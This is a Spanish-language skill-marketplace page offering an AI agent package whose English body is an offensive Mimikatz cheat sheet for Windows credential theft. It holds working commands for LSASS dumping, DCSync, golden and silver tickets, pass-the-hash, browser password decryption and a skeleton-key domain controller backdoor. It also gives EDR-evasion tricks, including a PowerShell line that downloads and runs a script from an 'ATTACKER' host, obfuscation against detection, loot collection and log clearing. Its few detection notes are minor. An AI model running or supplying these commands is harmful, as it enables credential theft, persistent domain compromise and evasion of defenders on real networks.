Saltar al contenido
Nuevo

DeepSeek V4.1 Flash gratis por 7 días: 10M tokens al día tras una recarga de $10 o más. Hasta el 30/11.

Cómo funciona
aeondave/mimikatzActive Directory y Windows

mimikatz

⁨Auth/lab ref: Mimikatz secret-exposure audit; LSASS, DPAPI, Kerberos tickets/keys, token/ticket artifacts, Windows lab validation.⁩

v2026.11.13-21cd5683 instalaciones+3 en 7 días39 EstrellasCC-BY-4.0sincronizado hace 10 horas

Instalar

¿Aún no tienes la CLI de NotHoly? Instálala primero.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/mimikatz

Escribe en ⁦~/.notholy/skills⁩ después de comprobar la firma y el SHA-256.

FirmaFirmado, ed25519
xeyUygq0/o…CI2nt2CQ==La CLI comprueba el SHA-256 y la firma antes de escribir cualquier archivo.
Paquete96163eb1…de12e245
96163eb14a99…c400de12e2452 archivos · ⁦9.9 KB⁩
EscaneoMedio4 hallazgos
  • command.pipe_to_shellSKILL.md:401
  • command.pipe_to_shellSKILL.md:461
  • command.pipe_to_shellreferences/credential-theft-tradecraft.md:236
Ver el escaneo completo
Fuentegithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/mimikatz@21cd568

Esta entrada todavía no está escrita en tu idioma, así que aparece en English.

Windows credential extraction — LSASS dump, DPAPI, Kerberos, token impersonation, and ticket attacks.

Privilege Requirement

SeDebugPrivilege is required for most operations. Enable first:

text
privilege::debug

Run from admin shell. If UAC active: run mimikatz.exe as Administrator.


1. LSASS Credential Dumping

sekurlsa::logonpasswords

Dump all cached credentials from LSASS — NTLM hashes, plaintext (if WDigest enabled), Kerberos keys.

text
privilege::debug
sekurlsa::logonpasswords

Useful fields in output:

  • Username / Domain — target account
  • NTLM — NT hash (use for PTH)
  • Password — plaintext only if WDigest active or old OS (pre-Win8.1/2012R2)
  • SHA1 / AES128 / AES256 — Kerberos keys for asktgt

sekurlsa::wdigest

Dump WDigest credentials (requires WDigest provider active).

text
sekurlsa::wdigest

Enable WDigest for future logons (then wait for a new logon):

text
# Registry — enable
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# Then trigger new logon (e.g., lock/unlock, or wait)
sekurlsa::wdigest

sekurlsa::credman

Dump Windows Credential Manager stored credentials.

text
sekurlsa::credman

sekurlsa::msv

Dump MSV1_0 auth provider credentials (NTLM hashes, domain creds).

text
sekurlsa::msv

sekurlsa::kerberos

Dump Kerberos provider (AES keys, cached passwords).

text
sekurlsa::kerberos

sekurlsa::ekeys

Dump Kerberos encryption keys only (AES128 / AES256 / DES / RC4) — tighter output than logonpasswords when you just need keys for kerberos::golden /aes256: or offline cracking.

text
sekurlsa::ekeys

2. SAM / LSA / NTDS

lsadump::sam

Dump local SAM database hashes (local accounts).

text
privilege::debug
token::elevate
lsadump::sam

lsadump::secrets

Dump LSA secrets (service account passwords, DPAPI master keys, machine account hash, cached domain credentials).

text
token::elevate
lsadump::secrets

High-value LSA secrets:

  • _SC_* — service account passwords
  • DPAPI_SYSTEM — DPAPI system key for decrypting user DPAPI blobs
  • $MACHINE.ACC — machine account NT hash (useful for Kerberos auth)
  • DefaultPassword — autologon password

lsadump::cache

Dump cached domain credentials (MS-CACHE v2) — offline crackable.

text
token::elevate
lsadump::cache

Crack: hashcat -a 0 -m 2100 cache_hashes.txt wordlist.txt

lsadump::dcsync

DCSync — pull any account's hash from DC using replication API. Requires DA or explicit replication rights.

text
# Single account
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /user:administrator

# All accounts (slow, very noisy)
lsadump::dcsync /domain:corp.local /all

# Dump from specific DC
lsadump::dcsync /domain:corp.local /user:krbtgt /dc:dc01.corp.local

lsadump::lsa

Dump LSA online (patch LSA in memory).

text
lsadump::lsa /patch
lsadump::lsa /inject
lsadump::lsa /inject /name:krbtgt_8245   # RODC krbtgt — extracts AES256 key needed for RODC golden ticket

RODC krbtgt extraction: lsadump::lsa /inject /name:krbtgt_XXXXX as SYSTEM on the RODC is the only reliable method to get the AES256 key — it never appears in an offline ntds.dit dump. Output contains aes256_hmac (4096) : <hex> under Kerberos-Newer-Keys, the key needed for Rubeus.exe golden /rodcNumber:XXXXX /aes256:<key> or ticketer.py -aesKey <key>. Full RODC workflow (kvno encoding, PRP, forge/reveal commands): active-directory-technique/references/rodc-attacks.md.

Headless execution (no console)

When running mimikatz via SCM-based remote execution (smbexec, service creation, scheduled tasks), there is no console attached and stdout/stderr are not captured by the calling tool.

Solution: use mimikatz's built-in log command to write output to a file on the target, then retrieve the file via SMB.

text
# Run via service/smbexec — output to file
mimikatz.exe "privilege::debug" "log C:\Windows\Temp\mk.txt" "lsadump::lsa /inject /name:krbtgt_8245" "exit"

# Then retrieve via SMB
smbclient.py -k -no-pass //TARGET/ADMIN$ -c "get Temp\mk.txt"

Do NOT use shell redirect (> file.txt 2>&1) for mimikatz via SCM — it produces empty files because the service process has no console handles.


3. Kerberos Ticket Operations

sekurlsa::tickets

List and dump Kerberos tickets from LSASS memory.

text
sekurlsa::tickets
sekurlsa::tickets /export   # save .kirbi files to disk

kerberos::list

List current session tickets.

text
kerberos::list
kerberos::list /export

kerberos::ptt

Pass-the-Ticket — inject .kirbi ticket into current logon session.

text
kerberos::ptt ticket.kirbi
kerberos::ptt C:\path\to\ticket.kirbi

# Verify injection
klist

kerberos::purge

Remove all Kerberos tickets from session (clean up).

text
kerberos::purge

4. Golden Ticket

Forge TGT using krbtgt hash — persists even after password resets (until krbtgt is reset twice).

Requirements: krbtgt NTLM hash, domain SID, domain name, target username.

text
# Get krbtgt hash + domain SID
lsadump::dcsync /domain:corp.local /user:krbtgt

# Forge Golden Ticket
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX /krbtgt:KRBTGT_NTLM_HASH /id:500 /ptt

# With AES256 (more stealthy — avoids RC4 downgrade detection)
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM_HASH /aes256:KRBTGT_AES256 /id:500 /ptt

# Save to file (for later use)
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /id:500 /ticket:golden.kirbi

Key flags:

  • /id:500 — RID 500 = built-in administrator
  • /groups:512,513,518,519,520 — add to DA/EA/Schema Admin groups
  • /ptt — inject immediately; omit to save file
  • /startoffset:-10 — backdate 10 min (avoid clock skew detection)
  • /endin:600 /renewmax:10080 — ticket validity window

5. Silver Ticket

Forge TGS for specific service using service account hash — does not touch DC (no DC logs).

Requirements: service account NTLM hash, domain SID, SPN, target username.

text
# Forge Silver Ticket for CIFS on target machine
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:server.corp.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt

# LDAP service (for DCSync-like ops without touching LSASS on DC)
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:dc.corp.local /service:ldap /rc4:DC_NTLM_HASH /ptt

# HTTP service
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:webserver.corp.local /service:http /rc4:SERVICE_HASH /ptt

# MSSQL
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:sql.corp.local /service:MSSQLSvc /rc4:SVC_HASH /ptt

6. Pass-the-Hash

Spawn process using NTLM hash without knowing plaintext password.

text
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:NTLM_HASH /run:cmd.exe

# With AES256 (Kerberos PTK)
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /aes256:AES_KEY /run:powershell.exe

# Spawn specific process for lateral movement
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:"mmc.exe"

7. Token Manipulation

Impersonate tokens from other processes — escalate or pivot without credential extraction.

text
# List available tokens
token::list

# Elevate to SYSTEM
token::elevate

# Elevate to domain admin token (if present in process list)
token::elevate /domainadmin

# Impersonate specific user by process
token::impersonate

# Revert to original token
token::revert

Workflow: elevate for LSA ops

text
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
token::revert

8. DPAPI — Decrypting Secrets

DPAPI protects browser credentials, vault passwords, wifi keys, RDP credentials, and more.

Browser credentials (Chrome, Edge)

text
# Chrome/Edge saved passwords (user context)
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

# Edge
dpapi::chrome /in:"%localappdata%\Microsoft\Edge\User Data\Default\Login Data" /unprotect

# Chromium-based: works with current user DPAPI key automatically

Windows Credential Vault

text
# List vault credentials
vault::list

# Dump vault (may need SYSTEM for machine vault)
vault::cred /patch

Generic DPAPI blob decryption

text
# Get DPAPI system key (from LSA secrets — needs SYSTEM)
token::elevate
lsadump::secrets

# Decrypt a specific blob with masterkey
dpapi::blob /masterkey:MASTERKEY_HEX /in:blob.bin

# Find and list masterkeys
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-...\GUID"

# With domain backup key (if you have it)
dpapi::masterkey /in:MASTERKEY_FILE /pvk:domain_backup.pvk

# Wifi passwords
dpapi::wifi /in:"%programdata%\Microsoft\Wlansvc\Profiles\Interfaces\{GUID}\{PROFILE}.xml"

RDP saved credentials

text
# Cmdkey-stored RDP credentials
dpapi::rdg /unprotect

9. Crypto / Certificates

text
# List certificates in current user store
crypto::certificates

# List and export (including private keys)
crypto::certificates /export

# System store (requires SYSTEM)
token::elevate
crypto::certificates /systemstore /export

10. Alternate Execution (EDR evasion)

When dropping mimikatz.exe is detected, use these alternatives:

Invoke-Mimikatz (PowerShell reflective load)

powershell
# Load from memory (no disk artifact)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# Dump to remote host
Invoke-Mimikatz -DumpCreds -ComputerName TARGET

SafetyKatz (BOF/fork-dump approach)

powershell
# .NET, fork+dump, avoids direct LSASS handle
SafetyKatz.exe "sekurlsa::logonpasswords" "exit"

LSASS dump without mimikatz (then parse offline)

cmd
# procdump.exe (Sysinternals)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# comsvcs.dll (LOLBin — built-in)
tasklist /fi "imagename eq lsass.exe"   # get PID
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full

# xordump / via shadow copy
# Copy ntds.dit via shadow copy:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\loot\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\loot\

Parse dump offline (on attacker machine):

text
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

CLI / IOA evasion patterns (observed in the wild)

Signature detections that key on the mimikatz.exe filename or the literal sekurlsa::logonpasswords string are trivially bypassed. Patterns seen by CrowdStrike OverWatch:

1. Rename the binary + stage under trusted path

cmd
copy mimikatz.exe C:\ProgramData\p.exe
C:\ProgramData\p.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Staging paths seen in the wild: C:\ProgramData\p.exe, C:\Windows\Security\mnl.exe. Combine with log outfile.txt when running via SCM/WMI (no console attached).

2. Batch-file lifecycle (copy → run → collect → cleanup)

cmd
@echo off
copy \\SHARE\p.exe C:\Windows\Temp\p.exe >nul
C:\Windows\Temp\p.exe "log C:\Windows\Temp\o.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit" >nul
copy C:\Windows\Temp\o.txt \\SHARE\loot\%COMPUTERNAME%.txt >nul
del /f C:\Windows\Temp\p.exe C:\Windows\Temp\o.txt

3. PowerShell backtick obfuscation (defeats naive cmdline regex)

powershell
powershell -ep Bypass -NoP -NonI -NoLogo -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug` sekurlsa`::`logonpasswords `exit'"

Backticks split sekurlsa::logonpasswords at the string-scan layer; PowerShell reassembles it before execution. Same works with 's'+'ekurlsa' concatenation.

4. WMIC remote push (fan out to many hosts)

cmd
wmic /NODE:"TARGET" /USER:"DOMAIN\admin" /PASSWORD:"pw" process call create ^
  "cmd.exe /c (C:\Windows\Security\mnl.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" \"exit\" > C:\Windows\Security\out.txt) >> C:\Windows\Temp\t.txt"

# Fan-out from a list
for /F %h in (hosts.txt) do wmic /NODE:%h /USER:... process call create "cmd.exe /c ..."

wmic is deprecated on Win11 24H2+ — use Invoke-CimMethod -ClassName Win32_Process -MethodName Create on modern targets.

5. Custom forks with renamed modules/commands Attacker-modified builds have been observed replacing the command table so calls look like mnl.exe pr::dg sl::lp et instead of mimikatz.exe privilege::debug sekurlsa::logonpasswords exit. Stock mimikatz does not accept these abbreviations — only recompiled forks. String-based cmdline detections fail; pivot detection to LSASS handle-access IOAs.

Detection-flip takeaway: chain multiple weak signals (LSASS handle access + unusual parent process + .kirbi/log artifact + short-lived child of wmiprvse.exe/services.exe) rather than any single filename or cmdline substring.

Beacon / BOF command prefixes

When invoked via Cobalt Strike Beacon's mimikatz command (or compatible BOF loaders), two prefixes change execution context:

  • !command — elevate to SYSTEM before running (equivalent to token::elevate + command). Example: mimikatz !sekurlsa::logonpasswords.
  • @command — keep Beacon's current access token (do NOT drop back to Beacon's process token). Useful with make_token/steal_token. Example: mimikatz @lsadump::dcsync /user:krbtgt.
  • Chain multiple commands with ; (max 511 chars): mimikatz crypto::capi ; crypto::certificates /systemstore:local_machine /store:my /export.

Skeleton Key — Domain Persistence

misc::skeleton patches LSASS on a Domain Controller so a single master password (default: mimikatz) authenticates any domain account, while real passwords keep working. Memory-only — gone on DC reboot.

Requirements: DA (or equivalent local admin on the DC), SeDebugPrivilege, code execution on the DC itself.

text
# On the DC, as SYSTEM/DA
privilege::debug
misc::skeleton
# Output: [KDC] data
#         [KDC] struct
#         [KDC] keys patch OK
#         [RC4] functions
#         [RC4] init patch OK
#         [RC4] decrypt patch OK

# Authenticate as ANY domain user with password 'mimikatz'
dir \\dc.corp.local\c$ /user:corp.local\administrator   # prompt → mimikatz

Operational notes:

  • Push to every DC in the site. Skeleton key does not replicate; users hitting an unpatched DC authenticate normally and the backdoor won't trigger.
  • Server 2019 confirmed working. Server 2022 and later may fail if AES-only Kerberos is enforced (skeleton downgrades to RC4).
  • PPL bypass first if LSASS runs as PPL (Win10/Server 2016+ with RunAsPPL=1):
    text
    privilege::debug
    !+                                        # load mimidrv.sys
    !processprotect /process:lsass.exe /remove
    misc::skeleton
    !-                                        # unload driver
  • Custom master password is not supported by stock misc::skeleton — the default mimikatz string is hardcoded. Forks exist that change it.

Detection vectors:

  • Kerberos Event 4769 with RC4 encryption for accounts normally using AES.
  • Kernel driver install (mimidrv.sys) — Event 7045 with service name matching mimidrv:
    powershell
    Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.Message -like '*mimidrv*'}
  • LSASS memory tampering signatures (EDR-specific).

Cleanup: reboot the DC. There is no in-mimikatz "unpatch" command; the patch is memory-only.


Common Attack Chains

Post-shell: dump all creds fast

text
privilege::debug
token::elevate
sekurlsa::logonpasswords
lsadump::sam
lsadump::secrets
lsadump::cache
exit

PTH → lateral movement → DCSync

text
# 1. Extract NTLM from SAM
sekurlsa::logonpasswords

# 2. PTH to spawn session as admin
sekurlsa::pth /user:administrator /domain:corp /ntlm:HASH /run:cmd.exe

# 3. DCSync from admin context
lsadump::dcsync /domain:corp.local /user:krbtgt

# 4. Forge Golden Ticket
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt

Browser credential harvest

text
privilege::debug
token::elevate
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
dpapi::chrome /in:"%localappdata%\Microsoft\Edge\User Data\Default\Login Data" /unprotect
vault::cred /patch
exit

OPSEC Notes

  • sekurlsa::logonpasswords opens a handle to LSASS (access rights 0x1010) → triggers EDR alerts
  • lsadump::dcsync generates Event 4662 (replication requested) on DC — monitored
  • Dropping mimikatz.exe binary → high-confidence EDR/AV detection (use in-memory or BOF)
  • Use comsvcs.dll MiniDump for LSASS dump — it's a LOLBin, less detected than procdump
  • AES256 keys for Golden/Silver Tickets avoid RC4 downgrade alert (Event 4769 with RC4 flag)
  • Token elevation (token::elevate) is needed before lsadump::sam/secrets — do it before
  • Log exit at end to capture mimikatz output when redirecting stdout
  • event::clear wipes Security/System/Application evtx from inside mimikatz (needs SYSTEM). Loud on its own — generates Event 1102 (audit log cleared) which most SOCs alert on. Prefer wevtutil cl on specific logs, or selective log-record tampering, over event::clear.

Resources

File When to load
references/credential-theft-tradecraft.md DPAPI architecture + offline decrypt, Chrome App-Bound bypass, PPL bypass, Credential Guard behavior, in-memory alternatives, EDR detection notes

Archivos de esta versión

Permisos

PermisoDeclaradoHallado en el escaneo
Lee archivosSíSí
Escribe archivosSíSí
Ejecuta comandos de shellSíSí
Usa la redSíSí
Usa conectoresNoNo
Controla un navegadorNoNo

Hallazgos del escaneo

Revisado el 13 nov 2026

  1. MediaComando · command.pipe_to_shellSKILL.md:401
  2. MediaComando · command.pipe_to_shellSKILL.md:461
  3. MediaComando · command.pipe_to_shellreferences/credential-theft-tradecraft.md:236
  4. InfoEnlace · Enlaces a dominios externos

Un escaneo limpio baja el riesgo, pero no prueba que el paquete sea seguro. Lee lo que instalas.

VersiónPublicadaCommitSHA-256FirmaCambio de permisos
v2026.11.13-21cd56813 nov 202621cd56896163eb1Firmada–

Pregunta todo lo que tu alcance permite.

Crea la cuenta, añade créditos y haz la primera pregunta en el chat o en la terminal.

  1. 1/3

    Crea la cuenta

    Individual o empresa. Puedes pasar a empresa después sin perder saldo ni claves.

    IndividualEmpresa
  2. 2/3

    Añade créditos

    Con tarjeta. Pagas por token, sin suscripción.

    $5.00recarga mínima
  3. 3/3

    Pregunta

    En el chat, o instala el CLI y ejecuta notholy login en tu terminal.

    $ notholy login